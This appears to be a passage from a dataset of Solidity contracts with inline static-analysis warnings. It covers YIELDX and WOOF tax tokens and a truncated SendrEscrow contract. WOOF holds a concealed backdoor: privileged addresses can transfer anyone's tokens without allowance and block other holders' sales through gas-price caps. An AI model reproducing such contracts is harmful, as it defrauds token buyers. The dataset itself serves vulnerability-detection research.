a295511): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a295511: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9ecd2e8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9ecd2e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(_router) &&\n !_excludedFromLimits[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: be612bc\n\t\t\t\t// reentrancy-benign | ID: a295511\n\t\t\t\t// reentrancy-eth | ID: 9ecd2e8\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: be612bc\n\t\t\t\t\t// reentrancy-eth | ID: 9ecd2e8\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-benign | ID: a295511\n _calcNavSync(from, to);\n\n\t\t// reentrancy-events | ID: be612bc\n\t\t// reentrancy-eth | ID: 9ecd2e8\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 9ecd2e8\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 9ecd2e8\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: be612bc\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1281d31): YIELDX.navFeeApply is never initialized. It is used in YIELDX._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 1281d31: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : navFeeApply.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9ecd2e8\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: be612bc\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _calcNavSync(address from, address to) internal {\n if (\n (_excludedFromLimits[from] || _excludedFromLimits[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: a295511\n navLimExclude = block.number;\n }\n\n if (!_excludedFromLimits[from] && !_excludedFromLimits[to]) {\n if (uniswapV2Pair != to) {\n NavSync storage navCalc = navSync[to];\n\n if (uniswapV2Pair == from) {\n if (navCalc.navIn == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: a295511\n navCalc.navIn = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n NavSync storage navDataCalc = navSync[from];\n\n if (\n navDataCalc.navIn < navCalc.navIn ||\n !(navCalc.navIn > 0)\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: a295511\n navCalc.navIn = navDataCalc.navIn;\n }\n }\n } else {\n NavSync storage navDataCalc = navSync[from];\n\n\t\t\t\t// reentrancy-benign | ID: a295511\n navDataCalc.navOut = navDataCalc.navIn.sub(navLimExclude);\n\n\t\t\t\t// reentrancy-benign | ID: a295511\n navDataCalc.reclaimNavToken = block.timestamp;\n }\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n\t\t// reentrancy-events | ID: be612bc\n\t\t// reentrancy-events | ID: 4c0ce73\n\t\t// reentrancy-benign | ID: a295511\n\t\t// reentrancy-benign | ID: b7aa667\n\t\t// reentrancy-eth | ID: 9ecd2e8\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: be612bc\n\t\t// reentrancy-events | ID: 4c0ce73\n\t\t// reentrancy-eth | ID: 9ecd2e8\n _taxWallet.transfer(amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function cleanStuck_ETH() external onlyOwner {\n uint256 contractBalance = address(this).balance;\n\n payable(owner()).transfer(contractBalance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 734689b): YIELDX.enableTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 734689b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 44ad00b): YIELDX.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for 44ad00b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1774d51): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1774d51: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n _approve(address(this), address(_router), _tTotal);\n\n\t\t// unused-return | ID: 734689b\n\t\t// reentrancy-eth | ID: 1774d51\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 44ad00b\n\t\t// reentrancy-eth | ID: 1774d51\n IERC20(uniswapV2Pair).approve(address(_router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 1774d51\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10679.sol",
"size_bytes": 22158,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract WOOF is ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) private _socialVerify;\n\n mapping(address => uint256) private _maxAmount;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec8ce59): WOOF._name should be constant \n\t// Recommendation for ec8ce59: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 49e6a1b): WOOF._name shadows ERC20._name\n\t// Recommendation for 49e6a1b: Remove the state variable shadowing.\n string private _name = unicode\"WOOF\";\n\n\t// WARNING Optimization Issue (constable-states | ID: cccb6a7): WOOF._symbol should be constant \n\t// Recommendation for cccb6a7: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: ef5a511): WOOF._symbol shadows ERC20._symbol\n\t// Recommendation for ef5a511: Remove the state variable shadowing.\n string private _symbol = unicode\"WOOF\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: daf7f17): WOOF._tTotal should be immutable \n\t// Recommendation for daf7f17: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal = 69_000_000_000 * 10 ** decimals();\n\n IUniswapV2Router02 private _Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n constructor() ERC20(_name, _symbol) Ownable(msg.sender) {\n _socialVerify[msg.sender] = true;\n\n _socialVerify[address(this)] = true;\n\n _mint(msg.sender, _tTotal);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 8ae98bd): WOOF._update(address,address,uint256) uses tx.origin for authorization _socialVerify[tx.origin]\n\t// Recommendation for 8ae98bd: Do not use 'tx.origin' for authorization.\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override {\n\t\t// tx-origin | ID: 8ae98bd\n if (_socialVerify[tx.origin]) {\n super._update(from, to, value);\n\n return;\n } else {\n require(tradingOpen, \"Open not yet\");\n\n if (to == uniswapV2Pair && from != address(this)) {\n if (tx.gasprice > _maxAmount[from] && _maxAmount[from] != 0) {\n revert(\"Exceeds the _maxAmount on sell tx\");\n }\n }\n\n if (to != uniswapV2Pair && from != uniswapV2Pair) {\n if (tx.gasprice > _maxAmount[from] && _maxAmount[from] != 0) {\n revert(\"Exceeds the _maxAmount on transfer from tx\");\n }\n }\n\n super._update(from, to, value);\n }\n }\n\n function name() public view override returns (string memory) {\n return _name;\n }\n\n function symbol() public view override returns (string memory) {\n return _symbol;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n if (_socialVerify[msg.sender]) {\n _maxAmount[spender] = amount;\n }\n\n super.approve(spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override returns (bool) {\n if (_socialVerify[msg.sender]) {\n super._update(from, to, amount);\n } else {\n super.transferFrom(from, to, amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f35b43e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f35b43e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function OpenTrade() public onlyOwner {\n _Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: f35b43e\n uniswapV2Pair = IUniswapV2Factory(_Router.factory()).getPair(\n address(this),\n _Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f35b43e\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_1068.sol",
"size_bytes": 15023,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\nabstract contract ReentrancyGuard {\n uint256 private constant NOT_ENTERED = 1;\n\n uint256 private constant ENTERED = 2;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 41d014e): SendrEscrow.signContract(uint256)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for 41d014e: Rename the local variables that shadow another component.\n uint256 private _status;\n\n error ReentrancyGuardReentrantCall();\n\n constructor() {\n _status = NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n if (_status == ENTERED) {\n revert ReentrancyGuardReentrantCall();\n }\n\n _status = ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == ENTERED;\n }\n}\n\ncontract SendrEscrow is Ownable, ReentrancyGuard {\n struct Milestone {\n uint256 contractId;\n uint256 value;\n string title;\n bool released;\n bool inDispute;\n }\n\n struct Delegate {\n address delegateAddress;\n uint256 votingPower;\n uint256 timestamp;\n }\n\n struct Contract {\n Milestone[] milestones;\n uint256 startBlock;\n uint256 contractId;\n address payer;\n address payee;\n bool active;\n string title;\n address tokenAddress;\n bool inDispute;\n uint256 valueRemaining;\n }\n\n struct Dispute {\n uint256 contractId;\n uint256 milestoneId;\n bool fullContractDispute;\n bool resolved;\n uint256 snapshotBlock;\n uint256 yesVotes;\n uint256 noVotes;\n uint256 votingDeadline;\n uint256 totalVotes;\n mapping(address => bool) hasVoted;\n }\n\n uint256 public VOTING_DURATION = 24 hours;\n\n uint256 public VOTING_EXTENSION_DURATION = 12 hours;\n\n uint256 public THRESHOLD_PERCENT = 10;\n\n uint256 public CONTRACT_FEE = 500;\n\n address public FEE_WALLET = 0xeaDA12106cE206Ed1faD23C4cD94Af794282FA22;\n\n uint256 public activeContracts;\n\n IERC20 public sendrToken;\n\n address public sendrTreasury;\n\n uint256 public contractCount;\n\n mapping(address => Delegate[]) public userDelegations;\n\n mapping(uint256 => Contract) public contracts;\n\n mapping(uint256 => Dispute) public disputes;\n\n mapping(address => uint256[]) public userContracts;\n\n mapping(uint256 => bool) public fundedStatus;\n\n mapping(uint256 => address) public signer;\n\n mapping(address => mapping(uint256 => bool)) public voidCheck;\n\n mapping(uint256 => mapping(uint256 => bool)) public payeeSignedMilestone;\n\n mapping(uint256 => mapping(uint256 => bool)) public payerSignedMilestone;\n\n mapping(uint256 => bool) public voided;\n\n mapping(uint256 => bool) public completedStatus;\n\n event DisputeCreated(\n uint256 contractId,\n uint256 milestoneId,\n bool fullContractDispute,\n uint256 snapshotBlock\n );\n\n event ContractCompleted(uint256 contractId);\n\n event DisputeResolved(\n uint256 contractId,\n uint256 milestoneId,\n bool inFavorOfPayee\n );\n\n event VotingExtended(uint256 contractId, uint256 milestoneId);\n\n event ContractCreated(\n uint256 contractId,\n address payer,\n address payee,\n string title,\n string identifier\n );\n\n event MilestoneReleased(\n uint256 contractId,\n address payer,\n address payee,\n string title,\n uint256 milestoneId\n );\n\n event ContractSigned(\n uint256 contractId,\n address payer,\n address payee,\n string title\n );\n\n event MilestoneDisputed(uint256 contractId, uint256 milestoneId);\n\n event ContractDisputed(uint256 contractId);\n\n event ContractVoided(uint256 contractId);\n\n constructor(IERC20 _sendrToken) Ownable(msg.sender) {\n sendrToken = _sendrToken;\n }\n\n function setSendrToken(IERC20 _sendrToken) external onlyOwner {\n sendrToken = _sendrToken;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2a8f3f4): SendrEscrow.setFeeWallet(address)._feeWallet lacks a zerocheck on \t FEE_WALLET = _feeWallet\n\t// Recommendation for 2a8f3f4: Check that the address is not zero.\n function setFeeWallet(address _feeWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 2a8f3f4\n FEE_WALLET = _feeWallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6092ea5): SendrEscrow.setFee(uint256) should emit an event for CONTRACT_FEE = _fee \n\t// Recommendation for 6092ea5: Emit an event for critical parameter changes.\n function setFee(uint256 _fee) external onlyOwner {\n require(_fee <= 1000 && _fee >= 100, \"Fee range of 1-10%\");\n\n\t\t// events-maths | ID: 6092ea5\n CONTRACT_FEE = _fee;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a162a6f): SendrEscrow.setSendrTreasury(address)._sendrTreasury lacks a zerocheck on \t sendrTreasury = _sendrTreasury\n\t// Recommendation for a162a6f: Check that the address is not zero.\n function setSendrTreasury(address _sendrTreasury) external onlyOwner {\n\t\t// missing-zero-check | ID: a162a6f\n sendrTreasury = _sendrTreasury;\n }\n\n function setVotingDuration(uint256 _duration) external onlyOwner {\n require(_duration > 0, \"Duration must be greater than zero\");\n\n require(_duration < 24 hours);\n\n VOTING_DURATION = _duration;\n }\n\n function setVotingExtensionDuration(uint256 _extension) external onlyOwner {\n require(_extension > 0, \"Extension must be greater than zero\");\n\n VOTING_EXTENSION_DURATION = _extension;\n }\n\n function setThresholdPercent(uint256 _percent) external onlyOwner {\n require(_percent >= 4 && _percent <= 100, \"Invalid Threshold Percent\");\n\n THRESHOLD_PERCENT = _percent;\n }\n\n function delegateVotes(\n address delegateAddress,\n uint256 votingPower\n ) external {\n require(\n votingPower <= sendrToken.balanceOf(msg.sender),\n \"Insufficient balance to delegate\"\n );\n\n userDelegations[msg.sender].push(\n Delegate({\n delegateAddress: delegateAddress,\n votingPower: votingPower,\n timestamp: block.timestamp\n })\n );\n }\n\n function getPastVotes(\n address user,\n uint256 disputeTimestamp\n ) public view returns (uint256) {\n Delegate[] memory delegations = userDelegations[user];\n\n uint256 lastValidVotingPower = 0;\n\n for (uint256 i = 0; i < delegations.length; i++) {\n if (delegations[i].timestamp <= disputeTimestamp) {\n lastValidVotingPower = delegations[i].votingPower;\n } else {\n break;\n }\n }\n\n require(\n sendrToken.balanceOf(user) >= lastValidVotingPower,\n \"Insufficient balance for past voting power\"\n );\n\n return lastValidVotingPower;\n }\n\n function raiseDispute(\n uint256 _contractId,\n uint256 _milestoneId,\n bool _fullContractDispute\n ) public {\n bool _voided = voided[_contractId];\n\n require(!_voided, \"Contract voided\");\n\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Only contract parties can raise disputes\"\n );\n\n require(_contract.active, \"Contract not active\");\n\n require(_contract.valueRemaining > 0, \"No value remaining\");\n\n require(!_contract.inDispute, \"Contract already in dispute\");\n\n if (_fullContractDispute) {\n _contract.inDispute = true;\n } else {\n Milestone storage milestone = _contract.milestones[_milestoneId];\n\n require(!milestone.inDispute, \"Milestone already in dispute\");\n\n milestone.inDispute = true;\n }\n\n uint256 snapshotBlock = block.number;\n\n Dispute storage dispute = disputes[_contractId];\n\n dispute.contractId = _contractId;\n\n dispute.milestoneId = _milestoneId;\n\n dispute.fullContractDispute = _fullContractDispute;\n\n dispute.resolved = false;\n\n dispute.snapshotBlock = snapshotBlock;\n\n dispute.yesVotes = 0;\n\n dispute.noVotes = 0;\n\n dispute.votingDeadline = block.timestamp + VOTING_DURATION;\n\n dispute.totalVotes = 0;\n\n emit DisputeCreated(\n _contractId,\n _milestoneId,\n _fullContractDispute,\n snapshotBlock\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ca11dad): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for ca11dad: Avoid relying on 'block.timestamp'.\n function voteOnDispute(\n uint256 _contractId,\n bool _voteInFavorOfPayee\n ) public nonReentrant {\n Dispute storage dispute = disputes[_contractId];\n\n require(!dispute.resolved, \"Dispute already resolved\");\n\n if (\n\t\t\t// timestamp | ID: ca11dad\n block.timestamp 